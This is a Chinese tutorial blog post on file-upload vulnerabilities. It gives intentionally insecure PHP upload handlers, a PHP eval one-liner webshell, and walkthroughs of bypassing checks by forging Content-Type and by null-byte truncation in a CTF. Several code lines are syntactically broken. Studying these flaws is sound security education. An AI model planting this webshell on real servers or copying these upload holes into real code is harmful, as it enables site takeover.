开发者社区> 技术小阿哥> 正文

文件上传漏洞原理与实例测试

简介:
+关注继续查看
  • 为了让用户将文件上传到网站,就像是给危机服务器的恶意用户打开了另一扇门。即便如此,在今天的现代互联网的Web应用程序,它是一种常见的要求,因为它有助于提高业务效率。企业支持门户,给用户各企业员工有效地共享文件。允许用户上传图片,视频,头像和许多其他类型的文件。向用户提供的功能越多,Web应用受到攻击的风险和机会就越大,这种功能会被恶意用户利用,获得到一个特定网站的权限,或危及服务器的可能性是非常高的。

0x01 为什么文件上传存在漏洞

  • 上传文件的时候,如果服务器脚本语言,未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件,包括上传脚本文件。

  • 如果是正常的PHP文件,对服务器则没有任何危害。

  • PHP可以像其他的编程语言一样,可以查看目录下的文件,查看文件中的吗内容,可以执行系统命令等。

  • 上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的PHP文件,从而控制整个网站,甚至是服务器。这个恶意的PHP文件,又被称为WebShell。


0x02 哪里存在文件上传漏洞


  • 服务器配置不当

  • 开源编辑器的上传漏洞

  • 本地文件上传限制被绕过

  • 过滤不严或被绕过

  • 文件解析漏洞导致文件执行

  • 文件路径截断


0x03 文件上传实例(本地测试)


  • 裸体的文件上传


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html>
<html>
<head>
    <title>文件信息</title>
</head>
<meta charset="utf-8">
<body>
<form action="" enctype="multipart/form-data" method="POST" name="uploadfile">
    上传文件: <input type="file" name="upfile" />
    <input type="submit" value="上传" name="submit">
</form>
</body>
</html>
<!-- 完全没有过滤,任意文件上传 -->
<?php
if (isset($_POST['submit'])) {
    var_dump($_FILES['upfile']);
    echo "文件名:".$_FILES['upfile']['name']."<br />";
    echo "文件大小:".$_FILES['upfile']['size']."<br />";
    echo "文件类型:".$_FILES['upfile']['type']."<br />";
    echo "临时路径:".$_FILES['upfile']['tmp_name']."<br />";
    echo "上传后系统返回值:".$_FILES['upfile']['error']."<br />";
    echo "====================保存分各线========================<br />";
    if ($_FILES['upfile']['error'] == 0) {
        if (!is_dir("./upload")) {
            mkdir("./upload");
        }
        $dir "./upload/".$_FILES['upfile']['name'];
        move_uploaded_file($_FILES['upfile']['tmp_name'],$dir);
        echo "文件保存路径:".$dir."<br />";
        echo "上传成功...<br />";
        echo "图片预览:<br />";
        echo "<img src=".$dir.">";
    }
}
 ?>

wKioL1eQ76Sxy2zxAARTCLGSSbw832.png-wh_50

设置本地代理用Burp Suite 抓包,通过对比我们可以看到,PHP中的<文件名>和<文件类型>分别对应数据包中<filename>和<Content-Type>。


  • 穿上下内衣的文件上传


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<!DOCTYPE html>
<html>
<head>
    <title>文件信息</title>
</head>
<meta charset="utf-8">
<body>
<form action="" enctype="multipart/form-data" method="POST" name="uploadfile">
    上传文件: <input type="file" name="upfile" />
    <input type="submit" value="上传" name="submit">
</form>
</body>
</html>
<!-- 按文件类型过滤 -->
<?php
if (isset($_POST['submit'])) {
    var_dump($_FILES['upfile']);
    echo "文件名:".$_FILES['upfile']['name']."<br />";
    echo "文件大小:".$_FILES['upfile']['size']."<br />";
    echo "文件类型:".$_FILES['upfile']['type']."<br />";
    echo "临时路径:".$_FILES['upfile']['tmp_name']."<br />";
    echo "上传后系统返回值:".$_FILES['upfile']['error']."<br />";
    echo "====================保存分各线========================<br />";
    $flag = 0;
    switch ($_FILES['upfile']['type']) {
        case 'image/jpeg':
            $flag = 1;
            break;
        default:
            die("文件类型错误.....");
            break;
    }
    if ($_FILES['upfile']['error'] == 0 && $flag ) {
        if (!is_dir("./upload")) {
            mkdir("./upload");
        }
    $dir "./upload/".$_FILES['upfile']['name'];
    move_uploaded_file($_FILES['upfile']['tmp_name'],$dir);
    echo "文件保存路径:".$dir."<br />";
        echo "上传成功...<br />";
        echo "图片预览:<br />";
        echo "<img src=".$dir.">";
    }
}
 ?>

在这段代码里,我们通过 <$_FILES['upfile']['type']> 来检测文件上传的类型,通过第一个图里的对比我们知道Http数据包请求头里的<Content-Type >对应的是上传文件的类型,那么我们是不是可以通过修改数据包的内容来实验绕过.ok,现在我们上传一个PHP一句话木马。

1
2
3
4
<?php
@eval($_POST['xxx']);
echo "dahuiji....";
 ?>

wKiom1eQ8A-heWV_AAN7oia3xR0984.png-wh_50

看返回的页面我们知道我们成功绕过了对文件类型的检测,并且菜刀连接成功


  • 穿上上内衣的文件上传(一个十六进制的<00>截断的ctf)


1
url:http://ctf4.shiyanbar.com/web/upload/

wKiom1eQ8FTiYY4vAAKvHgT5rdc341.png-wh_50

首先我们对抓取的数据包做出以上修改

wKioL1eQ8HDSTJYvAAMqvXprP68080.png-wh_50

通过16进制我们知道 <.>的16进制是<2e>在<2e>出插入一个字节,右键菜单里有<insert byte>插入。

wKiom1eQ8JOSXUmnAAI3-KDfuXc717.png-wh_50

ok,现在我们成功获取了flag。

现在我们说下这个实验的实现原理:

1
2
3
4
5
6
7
8
9
1.为什么在文件后面加上<.jpg>和在数据包<uploads/>后面加上修改后的文件名?
     PHP在对文件后缀进行判断时是对最后一个 <.xxx> 来判断的。这样我们修改过后的文件
  名,PHP会将其判断为.jpg文件这样我们可以绕过对文件名的检测。
   
2.为什么我们对文件名修改过后还需要添加%00截断?
    尽管我们知道我们上传的是一个PHP文件,但是如果不进行%00截断,我们上传的文件在服务
  器上是以<xxx.php.jpg>格式保存也就是说这是一个图片文件,PHP是不会解析这个文件。
  当我们进行%00截断后,服务器就会将%00后的<.jpg>进行截断,这是我们的的文件将以<xxx.php>
  的形式保存在服务器上,我们的一句话木马也就成功的时上传成功了。


  • 穿上外套的文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<!DOCTYPE html>
<html>
<head>
    <title>文件信息</title>
</head>
<meta charset="utf-8">
<body>
<form action="" enctype="multipart/form-data" method="POST" name="uploadfile">
    上传文件: <input type="file" name="upfile" />
    <input type="submit" value="上传" name="submit">
</form>
</body>
</html>
<?php
if (isset($_POST['submit'])) {
    var_dump($_FILES['upfile']);
    echo "文件名:".$_FILES['upfile']['name']."<br />";
    echo "文件大小:".$_FILES['upfile']['size']."<br />";
    echo "文件类型:".$_FILES['upfile']['type']."<br />";
    echo "临时路径:".$_FILES['upfile']['tmp_name']."<br />";
    echo "上传后系统返回值:".$_FILES['upfile']['error']."<br />";
    echo "====================保存分各线========================<br />";
    $flag = 0;
    $path_parts pathinfo($_FILES['upfile']['name']);
    echo '---<br>';
    var_dump($path_parts);    //返回文件路径信息
    if ($path_parts['extension'] == 'jpg' && $_FILES['upfile']['type'] == 'image/jpeg') {
        $flag = 1;
    }else{
        die("文件类型错误....");
    }
    if ($_FILES['upfile']['error'] == 0 && $flag ) {
        if (!is_dir("./upload")) {
            mkdir("./upload");
        }
        $dir "./upload/".$_FILES['upfile']['name'];
        echo "文件保存路径:".$dir."<br />";
        move_uploaded_file($_FILES['upfile']['tmp_name'],$dir);
        echo "上传成功...<br />";
        echo "图片预览:<br />";
        echo "<img src=".$dir.">";
    }
}
 ?>

上传一张正常的图片。

wKioL1eQ8Yjz_KUcAAF_fGZhspg079.png-wh_50


上传一句话木马进行绕过检测

wKiom1eQ8a_wyICPAAK-fyWsCeQ590.png-wh_50

1
2
3
4
5
6
7
为什么这次不能进行绕过?
     我们对文件名进行截断后,当数据包到Apache的时候,Apache会对截断处理这时截断的文件
     名变为<xxx.php>当PHP判断时会发现文件的后缀为<php>,然后我们就上传失败了....
 
 (以上只是我对上传失败的一点理解,欢迎指正。
  欢迎技术讨论,可以将上述方法绕过的同学欢迎指教。
  致谢...)


0x04 上传漏洞的防御


  1. 对面文件后缀进行检测

  2. 对文件类型进行检测

  3. 对文件内容进行检测

  4. 设置上传白名单




本文转自 nw01f 51CTO博客,原文链接:http://blog.51cto.com/dearch/1828635,如需转载请自行联系原作者

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
测试右移之logstash完整配置实例
测试右移之logstash完整配置实例
42 0
测试右移之logstash完整配置实例
测试右移之logstash完整配置实例
58 0
【框架】[Hibernate]构架知识点详解入门与测试实例
【框架】[Hibernate]构架知识点详解入门与测试实例
60 0
Windows 技术篇-利用telnet方法ping端口通不通实例演示,如何测试服务器端口是否启用,windows启用telnet功能
Windows 技术篇-利用telnet方法ping端口通不通实例演示,如何测试服务器端口是否启用,windows启用telnet功能
303 0
VB编程:SelectCase多分支选择结构实例测试生肖运势
VB编程:SelectCase多分支选择结构实例测试生肖运势
92 0
java测试pulsar实例
最近公司上了pulsar服务,然后我们需要学习pulsar相关的内容。最好的办法就是自己学习pulsar环境的搭建,然后搭建一个pulsar-server.并且自己建立pulsar-client的消费者和生产者,互相调用,测试连通
311 0
EMR本地盘实例大规模数据集测试
使用阿里云EMR和D1本地盘实例实现大数据分析集群架构以及大规模数据集测试
2446 0
DRDS和RDS只读实例性能对比测试
我们都知道,对于数据库中基础信息表来说,它的数据变化频率低,数据量小,但由于基础数据本身的特点,大多数相关系统都会对频繁地读取它。即便我们通过对数据调取服务进行服务化包装,通过HSF服务的方式对外暴露,以减少多个系统直接操作数据库带来的问题,但数据本身的读取频率和并发度都非常高,QPS可以轻易达到10万以上。
563 0
Confluence 6 从生产环境中恢复一个测试实例
请参考 Restoring a Test Instance from Production 页面中的内容获得更多完整的说明。
1075 0
+关注
技术小阿哥
文章
问答
视频
文章排行榜
最热
最新
相关电子书
更多
F2etest — 多浏览器兼容性测试整体解决方案
立即下载
低代码开发师(初级)实战教程
立即下载
阿里巴巴DevOps 最佳实践手册
立即下载
相关实验场景
更多